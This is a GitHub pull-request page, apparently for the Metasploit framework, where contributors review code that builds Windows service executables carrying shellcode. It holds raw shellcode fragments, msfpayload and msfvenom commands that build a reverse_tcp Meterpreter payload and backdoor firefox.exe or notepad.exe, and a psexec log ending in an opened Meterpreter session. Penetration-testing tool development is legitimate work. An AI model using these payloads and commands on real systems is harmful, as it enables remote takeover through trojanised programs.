Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Refreshed service payloads #2657

Merged
merged 19 commits into from Jun 7, 2014

Conversation

Projects
None yet
7 participants
@agix
Copy link
Contributor

agix commented Nov 20, 2013

Here is the refreshed pull request for service payload related to #1850

Verification

  • x86 exe-only executables still functional
  • x64 exe-only executables still functional
  • x64 service payloads still functional
  • x86 service payloads can be generated with a custom service name (e.g. executes correctly in a SERVICE_WIN32_SHARE_PROCESS service) - Use service_permissions with Admin, should overwrite AxInstSV or similar.
  • x86 service payloads can be generated with different length service names (<8, ==8, >8)
  • x86 service payloads can use any executable as a template
  • reverse_https (and other large payloads) work with psexec and other service exploit modules

@agix agix referenced this pull request Nov 20, 2013

Closed

Service payloads #1850

bo = pe.index('SERVICENAME')
raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
pe[bo, 11] = [name].pack('a11')
if not name

This comment has been minimized.

@jlee-r7

jlee-r7 Nov 20, 2013

Contributor

This can be simplified like so:

name ||= Rex::Text.rand_text_alpha(7)

if not opts[:sub_method]
pe[136, 4] = [rand(0x100000000)].pack('V')
#code_service could be encoded in the future

This comment has been minimized.

@jlee-r7

jlee-r7 Nov 20, 2013

Contributor

Comments should have a space after the #.

"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5"

pe_header_size=0x18

This comment has been minimized.

@jlee-r7

jlee-r7 Nov 20, 2013

Contributor

spaces around =, please

virtualAddress_offset=0xc
sizeOfRawData_offset=0x10

sections_table_rva = exe._dos_header.v['e_lfanew']+exe._file_header.v['SizeOfOptionalHeader']+pe_header_size

This comment has been minimized.

@jlee-r7

jlee-r7 Nov 20, 2013

Contributor

spaces around +. This is a really dense line and might be more readable if you break it up like so:

sectons_table_rva =
  exe._dos_header.v['e_lfanew'] +
  exe._file_header.v['SizeOfOptionalHeader'] +
  pe_header_size

sections_header = []
exe._file_header.v['NumberOfSections'].times { |i|
sections_header << [sections_table_characteristics_offset+(i*section_size),pe[sections_table_offset+(i*section_size),section_size]]

This comment has been minimized.

@jlee-r7

jlee-r7 Nov 20, 2013

Contributor

Another very dense line.

section_offset = sections_table_offset + (i * section_size)
sections_header << [
  sections_table_characteristics_offset + (i * section_size),
  pe[section_offset, section_size]
]
virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('L')[0]
sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('L')[0]
characteristics = sec[1][characteristics_offset,0x4].unpack('L')[0]
if exe.hdr.opt.AddressOfEntryPoint >= virtualAddress && exe.hdr.opt.AddressOfEntryPoint < virtualAddress+sizeOfRawData

This comment has been minimized.

@jlee-r7

jlee-r7 Nov 20, 2013

Contributor
if (virtualAddress...virtualAddress + sizeOfRawData).include?(exe.hdr.opt.AddressOfEntryPoint)
#put this section writable
characteristics|=0x80000000
newcharacteristics = [characteristics].pack('L')
pe[sec[0],newcharacteristics.length]=newcharacteristics

This comment has been minimized.

@jlee-r7

jlee-r7 Nov 20, 2013

Contributor

spaces around =

characteristics = sec[1][characteristics_offset,0x4].unpack('L')[0]
if exe.hdr.opt.AddressOfEntryPoint >= virtualAddress && exe.hdr.opt.AddressOfEntryPoint < virtualAddress+sizeOfRawData
#put this section writable
characteristics|=0x80000000

This comment has been minimized.

@jlee-r7

jlee-r7 Nov 20, 2013

Contributor

spaces around |=

This comment has been minimized.

@jlee-r7

jlee-r7 Nov 20, 2013

Contributor

Hex literals should have underscores every 4 digits to make them easier to read: 0x8000_0000

"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
"\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
"\x26\x07\xFF\xD5\x68"+name[4,3]+"\x00\x68"+name[0,4]+"\x89\xE1" +

This comment has been minimized.

@jlee-r7

jlee-r7 Nov 20, 2013

Contributor

This will break if name is less than 7 characters.

@@ -402,36 +402,86 @@ def self.exe_sub_method(code,opts ={})

case opts[:exe_type]
when :service_exe
exe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
max_length = 8192
name = opts[:servicename]

This comment has been minimized.

@jlee-r7

jlee-r7 Nov 20, 2013

Contributor

This needs some validation. If the provided name is less than 7 characters, the shellcode will be broken. At the very least, it should have a comment here and as part of the yard doc.

This comment has been minimized.

@Meatballs1

Meatballs1 Dec 20, 2013

Contributor

Is this fixed with the recent changes? If you replace the executable of a SERVICE_WIN32_SHARE_PROCESS and dont have the correct servicename it wont start so ideally we still need the ability to set arbitrary length service names even if it is by reverting to the substitution technique when service_name.length != 7

This comment has been minimized.

@agix

agix Dec 26, 2013

Author Contributor

Yes it should work with any size using string_to_pushes.

pe[136, 4] = [rand(0x100000000)].pack('V')
#code_service could be encoded in the future
code_service =
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +

This comment has been minimized.

@jlee-r7

jlee-r7 Nov 20, 2013

Contributor

This block should be indented one more level.

@agix

This comment has been minimized.

Copy link
Contributor Author

agix commented Nov 20, 2013

Thank you for all this comments. I'll work on it right now !

@agix

This comment has been minimized.

Copy link
Contributor Author

agix commented Nov 20, 2013

Okay, here is my first try. I hope I forgot nothing.

About the breaking name (if it's under 7). I think it's a bad idea to force it like that.
I will try to generate the shellcode depending the name size with the good opcodes automatically.
I think it's the best option, what do you think ?

@agix

This comment has been minimized.

Copy link
Contributor Author

agix commented Dec 17, 2013

I know this is not the place to put "string_to_pushes(str)" function so just tell me where I have to write it ?
thx

@Meatballs1

This comment has been minimized.

Copy link
Contributor

Meatballs1 commented Dec 18, 2013

There are plenty of low level functions in Util::EXE so it shouldn't be too out of place (e.g. self.generate_nop), so dont see any particular issues with it going in there for now if its the only thing using it. @dmaloney-r7 might have some suggestions?

Util::EXE could use a refactor anyway as its become a one stop shop for most payload generation...

@@ -402,36 +423,101 @@ def self.exe_sub_method(code,opts ={})

case opts[:exe_type]
when :service_exe
exe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)

This comment has been minimized.

@Meatballs1

Meatballs1 Dec 20, 2013

Contributor

This logic should be in to_win32pe_service as it is no longer substitution technique? Check for if opts[:sub_method] and send it down exe_sub_method if the user wants?

Presumably at present an x64 service payload will come into exe_sub_method and have this applied but no x64 shellcode is available.

@agix

This comment has been minimized.

Copy link
Contributor Author

agix commented Dec 26, 2013

Okay, I fixed the service payload and test psexec module with different service name/file/displayname.
I'm waiting for your comments.
Everythings work well.

@wvu-r7

This comment has been minimized.

Copy link
Contributor

wvu-r7 commented Jan 2, 2014

Thanks, @agix. Bumping.

@@ -1641,7 +1722,7 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)

when 'exe-only'
output = case arch
when ARCH_X86,nil then to_winpe_only(framework, code, exeopts, arch)

This comment has been minimized.

@Meatballs1

Meatballs1 Jan 2, 2014

Contributor

This case statement is a bit pointless but not the fault of this PR!

This comment has been minimized.

@agix

agix Jan 2, 2014

Author Contributor

Yes that was an error from last pull I did, so I can fix it in another PR or let it here, as you prefer.

@@ -0,0 +1,17 @@
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)

This comment has been minimized.

@Meatballs1

Meatballs1 Jan 2, 2014

Contributor

Is the author for this correct?

This comment has been minimized.

@Meatballs1

Meatballs1 Jan 2, 2014

Contributor

The template might be by SF but I would class you of the author of the 'service_stuff', currently people might look at this and start prodding SF why/how things work when they should prod you instead :) Also date etc.

@Meatballs1

This comment has been minimized.

Copy link
Contributor

Meatballs1 commented Jan 2, 2014

Works ok for psexec so far:

[*] Started reverse handler on 192.168.1.22:4444 
[*] Connecting to the server...
[*] Authenticating to 192.168.1.23:445|WORKGROUP as user 'Administrator'...
[*] Uploading payload...
[*] Created \bbRHayOj.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.23[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.23[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (lotsofcharacters - "Test_Display")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Sending stage (769024 bytes) to 192.168.1.23
[*] Deleting \bbRHayOj.exe...
[*] Meterpreter session 3 opened (192.168.1.22:4444 -> 192.168.1.23:49214) at 2014-01-02 14:24:43 +0000
@Meatballs1

This comment has been minimized.

Copy link
Contributor

Meatballs1 commented Jan 2, 2014

Everything seems to be working as intended so far, however my main concern is the change in functionality between the existing service template and the newly generated executables.

Currently the service executables execute the shellcode in a new process, and exits cleanly (informing the service manager etc). This is desirable as it means we can cleanup the service which we cant do if the process is still running and I think this is assumed by some modules...

@agix

This comment has been minimized.

Copy link
Contributor Author

agix commented Jan 2, 2014

hey, yes I though of it. If you add the migrate shellcode, it successfully removes the sevice. is there a way to force prepend_migrate ? do you think it's a good idea ?
about the author of service_stuff.asm it's a copy paste of the other made by stephen fewer so that's why I didn't change it.

@Meatballs1

This comment has been minimized.

Copy link
Contributor

Meatballs1 commented Jan 2, 2014

Prepend migrate doesn't work correctly for all payloads at present when it is generated and would require changing a lot of module defaults.

I guess it could be manually included as part of this shellcode along with the calls to stop the service and ExitProcess? Probably want someone else to weigh in @jlee-r7 ?

Another thing I have noticed is that a template file doesn't work with this, (or exe-only for that matter). I'm currently using notepad.exe (correct Arch). Do they need to be unsigned or something? I have tried with a random 3rd party one but it doesn't work. Although it doesn't appear to be this PR that breaks it...


if (virtualAddress...virtualAddress+sizeOfRawData).include?(pe.hdr.opt.AddressOfEntryPoint)
# put this section writable
characteristics |= 0x8000_0000

This comment has been minimized.

@Meatballs1

Meatballs1 Jan 2, 2014

Contributor

typo I assume?

This comment has been minimized.

@agix

agix Jan 2, 2014

Author Contributor

where ?

This comment has been minimized.

@Meatballs1

Meatballs1 Jan 2, 2014

Contributor

0x8000_0000

This comment has been minimized.

@agix

agix Jan 2, 2014

Author Contributor

haha no ! #2657 (diff)

This comment has been minimized.

@Meatballs1

Meatballs1 Jan 2, 2014

Contributor

ah ok, I was wondering why it didn't break stuff :)

]
}

# look for section with entry point
sections_header.each do |sec|

This comment has been minimized.

@Meatballs1

Meatballs1 Jan 2, 2014

Contributor

Looks like a lot of this can be simplified using PeParsey?

pe.all_sections.each do |section|
  $stderr.puts section.vma # VirtualAddress
end

This comment has been minimized.

@Meatballs1

Meatballs1 Jan 2, 2014

Contributor

Or can you not modify the Pe via PeParsey?

This comment has been minimized.

@Meatballs1

Meatballs1 Jan 2, 2014

Contributor

Could use section.contains_rva?(pe.hdr.opt.AddressOfEntryPoint) as well

This comment has been minimized.

@agix

agix Jan 2, 2014

Author Contributor

Yes I can use all this stuff but I didn't find a way to rewrite "characteristics" of pe with peParsey.

This comment has been minimized.

@agix

agix Jan 2, 2014

Author Contributor

PeParsey seems to only be a reader, not a writer.
section.flags |= 0x8000_0000 doesn't work for instance.

@Meatballs1

This comment has been minimized.

Copy link
Contributor

Meatballs1 commented Jan 2, 2014

Looks like injection doesn't work with exe and notepad.exe either... They work under Wine, just not under windows :)

@agix

This comment has been minimized.

Copy link
Contributor Author

agix commented Jan 2, 2014

If I understood you :
Injection doesn't work but injection is not the same as using another template.
./msfpayload windows/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.56.1 R | ./msfencode -t exe-only -x /mnt/vm/firefox.exe -o /mnt/vm/firefox_bd.exe use firefox as template and it works.
./msfpayload windows/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.56.1 R | ./msfencode -t exe-only -x /mnt/vm/firefox.exe -o /mnt/vm/firefox_bd.exe -k try to keep the template working, and it does'nt work with exe-only.

@Meatballs1

This comment has been minimized.

Copy link
Contributor

Meatballs1 commented Jan 2, 2014

I'm using msfvenom -p windows/meterpreter/reverse_tcp -f exe-only -x /root/notepad.exe LHOST=192.168.1.x > blah

That sets the correct template... I'll try with payload/encode

@Meatballs1 Meatballs1 merged commit 1a3b319 into rapid7:master Jun 7, 2014

1 check passed

continuous-integration/travis-ci The Travis CI build passed
Details

Meatballs1 added a commit that referenced this pull request Jun 7, 2014

Land #2657, Dynamic generation of windows service executable functions
Allows a user to specify non service executables as EXE::Template as
long as the file has enough size to store the payload.
@agix

This comment has been minimized.

Copy link
Contributor Author

agix commented Jun 7, 2014

Wow awesome !

@agix agix deleted the agix:refreshed_service_payloads branch Jun 7, 2014

@wvu-r7

This comment has been minimized.

Copy link
Contributor

wvu-r7 commented Jun 7, 2014

About time!

@agix

This comment has been minimized.

Copy link
Contributor Author

agix commented Jun 7, 2014

\o/ I'm proud it's finally merged ! I will write a little blog post to celebrate it !

@Meatballs1

This comment has been minimized.

Copy link
Contributor

Meatballs1 commented Jun 12, 2014

I believe this may have broken x64 service payloads...Not 100% sure but guessing something in exe_sub_method perhaps:

0b462ce

Maybe:

+        if not opts[:sub_method]

  448    +          pe[136, 4] = [rand(0x100000000)].pack('V')

  449    +        end

As opts[:sub_method] isn't set in to_win64pe_service.

@Meatballs1

This comment has been minimized.

Copy link
Contributor

Meatballs1 commented Jun 12, 2014

@Meatballs1

This comment has been minimized.

Copy link
Contributor

Meatballs1 commented Jun 13, 2014

Hmm they work fine on 2k8, but fail on 2k12 so don't think it is these changes.

@OJ

This comment has been minimized.

Copy link
Contributor

OJ commented Jun 13, 2014

Odd. When I'm back at home next week I'll have a look.

@agix

This comment has been minimized.

Copy link
Contributor Author

agix commented Jun 14, 2014

I have to setup a win2k12 to test too...

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.